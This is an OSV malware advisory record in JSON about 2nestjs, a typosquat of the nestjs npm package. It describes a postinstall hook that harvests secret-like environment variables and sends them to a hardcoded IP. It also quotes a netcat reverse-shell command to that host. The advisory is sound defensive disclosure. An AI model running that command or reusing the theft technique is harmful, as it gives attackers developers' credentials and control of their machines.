{"id":"MAL-2026-15911","revision":"510ea035978a405e9a8f801039dc69dd","records":[{"revision":"510ea035978a405e9a8f801039dc69dd","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-15911","aliases":[],"title":"Malicious code in 2nestjs (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c9471c1fdd6ae99da48e44b8588f9e36814ce2859f2d25641b06cc53cf42174d)\nThe package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^(SECRET|API|TOKEN|KEY)/, JSON-serializes the matched values, and writes them over a raw TCP socket to the hardcoded remote host 84.32.22.44:9999 (loaded from servers.json). The same postinstall path also invokes `nc -e /bin/sh 84.32.22.44 9999`, establishing an interactive reverse shell to the same host and granting the remote operator arbitrary command execution on the installer's machine. The package's own package.json description labels it a typosquat of nestjs and the author identifier is typosquat-bot, and the module's export logs '2nestjs loaded -- targeting nestjs' — the package name is a numeric-prefix lookalike of the widely used nestjs package.\n","state":0,"publishedAt":"2026-09-04T05:19:22+00:00","modifiedAt":"2026-09-04T05:45:05.6273806+00:00","affected":[{"ecosystem":"npm","name":"2nestjs","ranges":[],"versions":["0.0.1"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/2nestjs/v/0.0.1"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-15911","license":"OSV · upstream source license applies","key":"osv:MAL-2026-15911","identifiers":["MAL-2026-15911"]},"retained":false,"historicalAffected":[]}],"coverage":[]}